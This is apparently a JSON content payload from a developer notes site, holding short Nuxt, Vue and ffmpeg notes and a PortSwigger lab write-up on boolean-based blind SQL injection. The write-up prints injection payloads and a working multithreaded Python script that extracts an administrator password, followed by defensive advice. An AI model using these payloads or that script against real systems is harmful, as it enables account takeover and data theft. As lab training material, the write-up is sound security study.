[{"data":1,"prerenderedAt":1421},["ShallowReactive",2],{"page-en-\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3":3,"recent-en":74,"posts-en-frontend":1161},{"id":4,"title":5,"author":6,"body":7,"date":59,"description":60,"extension":61,"image":62,"meta":63,"navigation":64,"path":65,"seo":66,"sitemap":67,"stem":68,"tags":69,"__hash__":73},"content_en\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","How to upgrade Nuxt 3 project","Oleg Anuchin",{"type":8,"value":9,"toc":56},"minimark",[10,14,40,44,52],[11,12,5],"h1",{"id":13},"how-to-upgrade-nuxt-3-project",[15,16,21],"pre",{"className":17,"code":18,"language":19,"meta":20,"style":20},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash","",[22,23,24],"code",{"__ignoreMap":20},[25,26,29,33,37],"span",{"class":27,"line":28},"line",1,[25,30,32],{"class":31},"sScJk","yarn",[25,34,36],{"class":35},"sZZnC"," nuxi",[25,38,39],{"class":35}," upgrade\n",[41,42,43],"p",{},"Example output:",[15,45,50],{"className":46,"code":48,"language":49},[47],"language-text","✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n","text",[22,51,48],{"__ignoreMap":20},[53,54,55],"style",{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":20,"searchDepth":57,"depth":57,"links":58},2,[],"2022-08-15","Simple command to upgrade Nuxt 3 to the latest version","md",null,{},true,"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":5,"description":60},{"loc":65},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[70,71,72],"nuxt","vue","cli","dM5MoKBMK4iO3YLcsO41-7FRCbfQBNHrd0MQxnAIkWM",[75,703,1001,1033],{"id":76,"title":77,"author":78,"body":79,"date":690,"description":691,"extension":61,"image":62,"meta":692,"navigation":64,"path":693,"seo":694,"sitemap":695,"stem":696,"tags":697,"__hash__":702},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Blind SQL Injection with Conditional Responses (PortSwigger Lab)","apsyleg",{"type":8,"value":80,"toc":679},[81,85,90,97,116,120,146,150,157,160,166,173,176,211,214,218,223,230,239,250,254,260,275,278,282,289,630,636,647,651,654,659,676],[11,82,84],{"id":83},"blind-sql-injection-with-conditional-responses","Blind SQL Injection with Conditional Responses",[86,87,89],"h2",{"id":88},"vulnerability","Vulnerability",[41,91,92,96],{},[93,94,95],"strong",{},"Blind SQL injection"," is a class of SQL injection where the application does not return query results or error messages in the HTTP response. Instead, the attacker infers information by observing differences in application behavior — such as whether a particular message appears, or whether the response takes longer.",[41,98,99,100,103,104,107,108,111,112,115],{},"In this variant (",[93,101,102],{},"boolean-based blind SQLi","), the application returns different content depending on whether the injected condition evaluates to ",[22,105,106],{},"TRUE"," or ",[22,109,110],{},"FALSE",". By crafting conditions like ",[22,113,114],{},"SUBSTRING(password, 1, 1) = 'a'",", an attacker can extract data one character at a time.",[86,117,119],{"id":118},"lab","Lab",[41,121,122,125,126,133,136,139,140,142,145],{},[93,123,124],{},"Name:"," ",[127,128,132],"a",{"href":129,"rel":130},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[131],"nofollow","Blind SQL injection with conditional responses",[134,135],"br",{},[93,137,138],{},"Difficulty:"," Practitioner",[134,141],{},[93,143,144],{},"Goal:"," Exploit a blind SQL injection vulnerability in a tracking cookie to extract the administrator's password and log in.",[86,147,149],{"id":148},"reconnaissance","Reconnaissance",[41,151,152,153,156],{},"The application stores a ",[22,154,155],{},"TrackingId"," cookie that is used in an SQL query. The query result is never displayed, but a \"Welcome back!\" message appears on the page when the query returns at least one row.",[41,158,159],{},"First, we confirm the injection point by appending a quote:",[15,161,164],{"className":162,"code":163,"language":49},[47],"TrackingId=ncJfdwqSUQK7Gh4b'--\n",[22,165,163],{"__ignoreMap":20},[41,167,168,169,172],{},"The \"Welcome back!\" message still appears — the comment ",[22,170,171],{},"--"," neutralizes the rest of the original query, so the injection is active.",[41,174,175],{},"Next, we verify boolean behavior:",[15,177,181],{"className":178,"code":179,"language":180,"meta":20,"style":20},"language-sql shiki shiki-themes github-light github-dark","-- TRUE condition → \"Welcome back!\" appears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- FALSE condition → \"Welcome back!\" disappears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[22,182,183,188,193,199,205],{"__ignoreMap":20},[25,184,185],{"class":27,"line":28},[25,186,187],{},"-- TRUE condition → \"Welcome back!\" appears\n",[25,189,190],{"class":27,"line":57},[25,191,192],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[25,194,196],{"class":27,"line":195},3,[25,197,198],{"emptyLinePlaceholder":64},"\n",[25,200,202],{"class":27,"line":201},4,[25,203,204],{},"-- FALSE condition → \"Welcome back!\" disappears\n",[25,206,208],{"class":27,"line":207},5,[25,209,210],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[41,212,213],{},"We now have a reliable oracle: if the injected condition is true, the message appears; if false, it does not. This is enough to extract any data from the database bit by bit.",[86,215,217],{"id":216},"exploitation","Exploitation",[219,220,222],"h3",{"id":221},"step-1-determine-password-length","Step 1 — Determine password length",[41,224,225,226,229],{},"We use ",[22,227,228],{},"LENGTH()"," to find how many characters the administrator's password has:",[15,231,233],{"className":178,"code":232,"language":180,"meta":20,"style":20},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[22,234,235],{"__ignoreMap":20},[25,236,237],{"class":27,"line":28},[25,238,232],{},[41,240,241,242,245,246,249],{},"\"Welcome back!\" appears at ",[22,243,244],{},"= 20"," — the password is ",[93,247,248],{},"20 characters long",".",[219,251,253],{"id":252},"step-2-extract-characters","Step 2 — Extract characters",[41,255,225,256,259],{},[22,257,258],{},"SUBSTRING(string, position, length)"," to test one character at a time:",[15,261,263],{"className":178,"code":262,"language":180,"meta":20,"style":20},"-- Is the 1st character 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[22,264,265,270],{"__ignoreMap":20},[25,266,267],{"class":27,"line":28},[25,268,269],{},"-- Is the 1st character 'w'?\n",[25,271,272],{"class":27,"line":57},[25,273,274],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[41,276,277],{},"Doing this manually for 20 characters × 36 possible values (a–z + 0–9) would take hundreds of requests. We automate it with a Python script.",[219,279,281],{"id":280},"step-3-automate-with-python","Step 3 — Automate with Python",[41,283,284,285,288],{},"The script uses ",[22,286,287],{},"ThreadPoolExecutor"," to run 10 requests in parallel, dramatically reducing extraction time:",[15,290,294],{"className":291,"code":292,"language":293,"meta":20,"style":20},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Determining password length...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Password length: {n}\")\n            return n\n    raise ValueError(f\"Password length not found within {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Password: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[22,295,296,301,306,311,315,320,326,332,338,343,349,355,361,366,371,377,383,389,395,401,406,411,417,423,429,435,441,447,453,459,464,469,475,481,487,492,498,504,509,514,520,526,532,538,544,550,556,562,568,574,579,584,590,596,602,608,613,618,624],{"__ignoreMap":20},[25,297,298],{"class":27,"line":28},[25,299,300],{},"import requests\n",[25,302,303],{"class":27,"line":57},[25,304,305],{},"import string\n",[25,307,308],{"class":27,"line":195},[25,309,310],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[25,312,313],{"class":27,"line":201},[25,314,198],{"emptyLinePlaceholder":64},[25,316,317],{"class":27,"line":207},[25,318,319],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[25,321,323],{"class":27,"line":322},6,[25,324,325],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[25,327,329],{"class":27,"line":328},7,[25,330,331],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[25,333,335],{"class":27,"line":334},8,[25,336,337],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[25,339,341],{"class":27,"line":340},9,[25,342,198],{"emptyLinePlaceholder":64},[25,344,346],{"class":27,"line":345},10,[25,347,348],{},"CHARSET = string.ascii_lowercase + string.digits\n",[25,350,352],{"class":27,"line":351},11,[25,353,354],{},"MAX_LENGTH = 30\n",[25,356,358],{"class":27,"line":357},12,[25,359,360],{},"THREADS = 10\n",[25,362,364],{"class":27,"line":363},13,[25,365,198],{"emptyLinePlaceholder":64},[25,367,369],{"class":27,"line":368},14,[25,370,198],{"emptyLinePlaceholder":64},[25,372,374],{"class":27,"line":373},15,[25,375,376],{},"def check(sql_condition: str) -> bool:\n",[25,378,380],{"class":27,"line":379},16,[25,381,382],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[25,384,386],{"class":27,"line":385},17,[25,387,388],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[25,390,392],{"class":27,"line":391},18,[25,393,394],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[25,396,398],{"class":27,"line":397},19,[25,399,400],{},"    return \"Welcome back\" in r.text\n",[25,402,404],{"class":27,"line":403},20,[25,405,198],{"emptyLinePlaceholder":64},[25,407,409],{"class":27,"line":408},21,[25,410,198],{"emptyLinePlaceholder":64},[25,412,414],{"class":27,"line":413},22,[25,415,416],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[25,418,420],{"class":27,"line":419},23,[25,421,422],{},"    print(\"[*] Determining password length...\")\n",[25,424,426],{"class":27,"line":425},24,[25,427,428],{},"    for n in range(1, max_len + 1):\n",[25,430,432],{"class":27,"line":431},25,[25,433,434],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[25,436,438],{"class":27,"line":437},26,[25,439,440],{},"        if check(condition):\n",[25,442,444],{"class":27,"line":443},27,[25,445,446],{},"            print(f\"[+] Password length: {n}\")\n",[25,448,450],{"class":27,"line":449},28,[25,451,452],{},"            return n\n",[25,454,456],{"class":27,"line":455},29,[25,457,458],{},"    raise ValueError(f\"Password length not found within {max_len}\")\n",[25,460,462],{"class":27,"line":461},30,[25,463,198],{"emptyLinePlaceholder":64},[25,465,467],{"class":27,"line":466},31,[25,468,198],{"emptyLinePlaceholder":64},[25,470,472],{"class":27,"line":471},32,[25,473,474],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[25,476,478],{"class":27,"line":477},33,[25,479,480],{},"    for c in CHARSET:\n",[25,482,484],{"class":27,"line":483},34,[25,485,486],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[25,488,490],{"class":27,"line":489},35,[25,491,440],{},[25,493,495],{"class":27,"line":494},36,[25,496,497],{},"            return pos, c\n",[25,499,501],{"class":27,"line":500},37,[25,502,503],{},"    return pos, \"?\"\n",[25,505,507],{"class":27,"line":506},38,[25,508,198],{"emptyLinePlaceholder":64},[25,510,512],{"class":27,"line":511},39,[25,513,198],{"emptyLinePlaceholder":64},[25,515,517],{"class":27,"line":516},40,[25,518,519],{},"def get_password(length: int) -> str:\n",[25,521,523],{"class":27,"line":522},41,[25,524,525],{},"    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n",[25,527,529],{"class":27,"line":528},42,[25,530,531],{},"    password = [\"?\"] * length\n",[25,533,535],{"class":27,"line":534},43,[25,536,537],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[25,539,541],{"class":27,"line":540},44,[25,542,543],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[25,545,547],{"class":27,"line":546},45,[25,548,549],{},"        for future in as_completed(futures):\n",[25,551,553],{"class":27,"line":552},46,[25,554,555],{},"            pos, char = future.result()\n",[25,557,559],{"class":27,"line":558},47,[25,560,561],{},"            password[pos - 1] = char\n",[25,563,565],{"class":27,"line":564},48,[25,566,567],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[25,569,571],{"class":27,"line":570},49,[25,572,573],{},"    return \"\".join(password)\n",[25,575,577],{"class":27,"line":576},50,[25,578,198],{"emptyLinePlaceholder":64},[25,580,582],{"class":27,"line":581},51,[25,583,198],{"emptyLinePlaceholder":64},[25,585,587],{"class":27,"line":586},52,[25,588,589],{},"def main():\n",[25,591,593],{"class":27,"line":592},53,[25,594,595],{},"    length = get_password_length()\n",[25,597,599],{"class":27,"line":598},54,[25,600,601],{},"    password = get_password(length)\n",[25,603,605],{"class":27,"line":604},55,[25,606,607],{},"    print(f\"\\n[+] Password: {password}\")\n",[25,609,611],{"class":27,"line":610},56,[25,612,198],{"emptyLinePlaceholder":64},[25,614,616],{"class":27,"line":615},57,[25,617,198],{"emptyLinePlaceholder":64},[25,619,621],{"class":27,"line":620},58,[25,622,623],{},"if __name__ == \"__main__\":\n",[25,625,627],{"class":27,"line":626},59,[25,628,629],{},"    main()\n",[41,631,632,633],{},"Result: ",[22,634,635],{},"wfa3n32o7a6mb4xon7d6",[41,637,638,639,642,643,646],{},"Log in to ",[22,640,641],{},"\u002Fmy-account"," as ",[22,644,645],{},"administrator"," with this password — lab solved.",[86,648,650],{"id":649},"conclusion","Conclusion",[41,652,653],{},"Blind SQL injection is more subtle than classic SQLi but equally dangerous. Even without any output, a single boolean signal (message present \u002F absent) is enough to extract the entire database.",[41,655,656],{},[93,657,658],{},"How to defend:",[660,661,662,666,669],"ul",{},[663,664,665],"li",{},"Use parameterized queries (prepared statements) — they eliminate injection entirely",[663,667,668],{},"Never concatenate user input directly into SQL strings",[663,670,671,672,675],{},"Apply least privilege to database accounts — the web app user should not have access to the ",[22,673,674],{},"users"," table",[53,677,678],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":20,"searchDepth":57,"depth":57,"links":680},[681,682,683,684,689],{"id":88,"depth":57,"text":89},{"id":118,"depth":57,"text":119},{"id":148,"depth":57,"text":149},{"id":216,"depth":57,"text":217,"children":685},[686,687,688],{"id":221,"depth":195,"text":222},{"id":252,"depth":195,"text":253},{"id":280,"depth":195,"text":281},{"id":649,"depth":57,"text":650},"2026-03-28","How to exploit blind SQL injection via a tracking cookie using boolean-based inference and a multithreaded Python script.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":77,"description":691},{"loc":693},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[698,699,700,701],"portswigger","sql-injection","blind-sqli","web-security","xjqLMT0ON2Iphb3NwOgTkgmjGcHATsLRPcyMBeD0IF4",{"id":704,"title":705,"author":6,"body":706,"date":990,"description":991,"extension":61,"image":62,"meta":992,"navigation":64,"path":993,"seo":994,"sitemap":995,"stem":996,"tags":997,"__hash__":1000},"content_en\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Creating component state like Options API using reactive()",{"type":8,"value":707,"toc":988},[708,711,721,732,985],[11,709,705],{"id":710},"creating-component-state-like-options-api-using-reactive",[41,712,713,714,717,718,249],{},"In Options API we can use ",[22,715,716],{},"data()"," function to create a state for the component, then access it directly via ",[22,719,720],{},"this",[41,722,723,724,727,728,731],{},"Using ",[22,725,726],{},"reactive()"," from Composition API achieves the same pattern — much easier than using ",[22,729,730],{},"ref()"," for multiple state properties.",[15,733,736],{"className":734,"code":735,"language":71,"meta":20,"style":20},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Price: {{ price }}\u003C\u002Fp>\n  \u003Cp>Quantity: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Total: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[22,737,738,751,766,770,781,789,807,818,826,831,835,855,869,873,877,884,895,900,905,910,915,924,928,937,951,964,977],{"__ignoreMap":20},[25,739,740,744,748],{"class":27,"line":28},[25,741,743],{"class":742},"sVt8B","\u003C",[25,745,747],{"class":746},"s9eBZ","script",[25,749,750],{"class":742},">\n",[25,752,753,757,760,763],{"class":27,"line":57},[25,754,756],{"class":755},"szBVR","import",[25,758,759],{"class":742}," { computed, reactive, toRefs } ",[25,761,762],{"class":755},"from",[25,764,765],{"class":35}," 'vue'\n",[25,767,768],{"class":27,"line":195},[25,769,198],{"emptyLinePlaceholder":64},[25,771,772,775,778],{"class":27,"line":201},[25,773,774],{"class":755},"export",[25,776,777],{"class":755}," default",[25,779,780],{"class":742}," {\n",[25,782,783,786],{"class":27,"line":207},[25,784,785],{"class":31},"  setup",[25,787,788],{"class":742},"() {\n",[25,790,791,794,798,801,804],{"class":27,"line":322},[25,792,793],{"class":755},"    const",[25,795,797],{"class":796},"sj4cs"," state",[25,799,800],{"class":755}," =",[25,802,803],{"class":31}," reactive",[25,805,806],{"class":742},"({\n",[25,808,809,812,815],{"class":27,"line":328},[25,810,811],{"class":742},"      price: ",[25,813,814],{"class":796},"2",[25,816,817],{"class":742},",\n",[25,819,820,823],{"class":27,"line":334},[25,821,822],{"class":742},"      quantity: ",[25,824,825],{"class":796},"5\n",[25,827,828],{"class":27,"line":340},[25,829,830],{"class":742},"    })\n",[25,832,833],{"class":27,"line":345},[25,834,198],{"emptyLinePlaceholder":64},[25,836,837,839,842,844,847,850,853],{"class":27,"line":351},[25,838,793],{"class":755},[25,840,841],{"class":796}," total",[25,843,800],{"class":755},[25,845,846],{"class":31}," computed",[25,848,849],{"class":742},"(() ",[25,851,852],{"class":755},"=>",[25,854,780],{"class":742},[25,856,857,860,863,866],{"class":27,"line":357},[25,858,859],{"class":755},"      return",[25,861,862],{"class":742}," state.price ",[25,864,865],{"class":755},"*",[25,867,868],{"class":742}," state.quantity\n",[25,870,871],{"class":27,"line":363},[25,872,830],{"class":742},[25,874,875],{"class":27,"line":368},[25,876,198],{"emptyLinePlaceholder":64},[25,878,879,882],{"class":27,"line":373},[25,880,881],{"class":755},"    return",[25,883,780],{"class":742},[25,885,886,889,892],{"class":27,"line":379},[25,887,888],{"class":755},"      ...",[25,890,891],{"class":31},"toRefs",[25,893,894],{"class":742},"(state),\n",[25,896,897],{"class":27,"line":385},[25,898,899],{"class":742},"      total\n",[25,901,902],{"class":27,"line":391},[25,903,904],{"class":742},"    }\n",[25,906,907],{"class":27,"line":397},[25,908,909],{"class":742},"  }\n",[25,911,912],{"class":27,"line":403},[25,913,914],{"class":742},"}\n",[25,916,917,920,922],{"class":27,"line":408},[25,918,919],{"class":742},"\u003C\u002F",[25,921,747],{"class":746},[25,923,750],{"class":742},[25,925,926],{"class":27,"line":413},[25,927,198],{"emptyLinePlaceholder":64},[25,929,930,932,935],{"class":27,"line":419},[25,931,743],{"class":742},[25,933,934],{"class":746},"template",[25,936,750],{"class":742},[25,938,939,942,944,947,949],{"class":27,"line":425},[25,940,941],{"class":742},"  \u003C",[25,943,41],{"class":746},[25,945,946],{"class":742},">Price: {{ price }}\u003C\u002F",[25,948,41],{"class":746},[25,950,750],{"class":742},[25,952,953,955,957,960,962],{"class":27,"line":431},[25,954,941],{"class":742},[25,956,41],{"class":746},[25,958,959],{"class":742},">Quantity: {{ quantity }}\u003C\u002F",[25,961,41],{"class":746},[25,963,750],{"class":742},[25,965,966,968,970,973,975],{"class":27,"line":437},[25,967,941],{"class":742},[25,969,41],{"class":746},[25,971,972],{"class":742},">Total: {{ total }}\u003C\u002F",[25,974,41],{"class":746},[25,976,750],{"class":742},[25,978,979,981,983],{"class":27,"line":443},[25,980,919],{"class":742},[25,982,934],{"class":746},[25,984,750],{"class":742},[53,986,987],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":20,"searchDepth":57,"depth":57,"links":989},[],"2022-08-20","How to use reactive() in Vue 3 Composition API to create component state similar to Options API data()",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":705,"description":991},{"loc":993},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[71,998,999],"composition-api","reactive","96O7U6Y83TlYNqqAf521cyGpqClhv0qB2l1dmJtT0pw",{"id":4,"title":5,"author":6,"body":1002,"date":59,"description":60,"extension":61,"image":62,"meta":1029,"navigation":64,"path":65,"seo":1030,"sitemap":1031,"stem":68,"tags":1032,"__hash__":73},{"type":8,"value":1003,"toc":1027},[1004,1006,1018,1020,1025],[11,1005,5],{"id":13},[15,1007,1008],{"className":17,"code":18,"language":19,"meta":20,"style":20},[22,1009,1010],{"__ignoreMap":20},[25,1011,1012,1014,1016],{"class":27,"line":28},[25,1013,32],{"class":31},[25,1015,36],{"class":35},[25,1017,39],{"class":35},[41,1019,43],{},[15,1021,1023],{"className":1022,"code":48,"language":49},[47],[22,1024,48],{"__ignoreMap":20},[53,1026,55],{},{"title":20,"searchDepth":57,"depth":57,"links":1028},[],{},{"title":5,"description":60},{"loc":65},[70,71,72],{"id":1034,"title":1035,"author":6,"body":1036,"date":1149,"description":1150,"extension":61,"image":62,"meta":1151,"navigation":64,"path":1152,"seo":1153,"sitemap":1154,"stem":1155,"tags":1156,"__hash__":1160},"content_en\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Batch converting FLAC to AIFF using ffmpeg",{"type":8,"value":1037,"toc":1147},[1038,1041,1044,1060,1071,1144],[11,1039,1035],{"id":1040},"batch-converting-flac-to-aiff-using-ffmpeg",[41,1042,1043],{},"You need ffmpeg to be installed. For macOS:",[15,1045,1047],{"className":17,"code":1046,"language":19,"meta":20,"style":20},"brew install ffmpeg\n",[22,1048,1049],{"__ignoreMap":20},[25,1050,1051,1054,1057],{"class":27,"line":28},[25,1052,1053],{"class":31},"brew",[25,1055,1056],{"class":35}," install",[25,1058,1059],{"class":35}," ffmpeg\n",[41,1061,1062,1063,1066,1067,1070],{},"This command will convert all ",[22,1064,1065],{},"*.flac"," files to ",[22,1068,1069],{},"*.aiff",":",[15,1072,1074],{"className":17,"code":1073,"language":19,"meta":20,"style":20},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[22,1075,1076],{"__ignoreMap":20},[25,1077,1078,1081,1084,1087,1090,1093,1096,1099,1102,1105,1108,1111,1114,1117,1120,1123,1126,1129,1132,1134,1136,1139,1141],{"class":27,"line":28},[25,1079,1080],{"class":755},"for",[25,1082,1083],{"class":742}," i ",[25,1085,1086],{"class":755},"in",[25,1088,1089],{"class":35}," *.flac",[25,1091,1092],{"class":742},"; ",[25,1094,1095],{"class":755},"do",[25,1097,1098],{"class":31}," ffmpeg",[25,1100,1101],{"class":796}," -i",[25,1103,1104],{"class":35}," \"",[25,1106,1107],{"class":742},"$i",[25,1109,1110],{"class":35},"\"",[25,1112,1113],{"class":796}," -write_id3v2",[25,1115,1116],{"class":796}," 1",[25,1118,1119],{"class":796}," -c:v",[25,1121,1122],{"class":35}," copy",[25,1124,1125],{"class":35}," \"${",[25,1127,1128],{"class":742},"i",[25,1130,1131],{"class":755},"%",[25,1133,249],{"class":35},[25,1135,865],{"class":755},[25,1137,1138],{"class":35},"}.aiff\"",[25,1140,1092],{"class":742},[25,1142,1143],{"class":755},"done\n",[53,1145,1146],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html 